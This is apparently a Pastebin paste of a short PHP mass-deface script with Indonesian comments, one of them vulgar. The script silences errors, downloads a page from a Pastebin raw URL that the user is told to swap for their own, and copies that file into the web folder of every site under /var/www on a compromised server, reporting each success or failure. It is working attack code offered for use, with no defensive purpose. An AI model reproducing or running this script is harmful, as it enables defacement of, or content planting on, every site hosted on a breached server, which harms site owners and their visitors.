Advertisement
Guest User

Untitled

a guest
May 20th, 2019
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. <?php
  2. //jangan lupa lagi ngentod:v
  3.  
  4. error_reporting(0);
  5.  
  6. $root = '/var/www';
  7. $scan = scandir($root);
  8.  
  9. $nama = 'dreamz.htm'; // ganti nama file
  10. $isi = file_get_contents('https://pastebin.com/raw/aRuiWEW7'); // ganti link pastebin scriptmu
  11.  
  12. $bikin = fopen($nama, "w");
  13. fwrite($bikin, $isi);
  14. fclose($bikin);
  15.  
  16. foreach ( $scan as $a ) {
  17. $dir = "$a \n";
  18. $gas = $root.'/'.$a.'/web/'.$nama;
  19. $cos = "$gas \n";
  20. $asu = @copy($nama, $gas);
  21. if($asu) {
  22. print 'Done! => '.$cos; }
  23. else { print 'Failed! => '.$dir; }
  24. }
  25. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement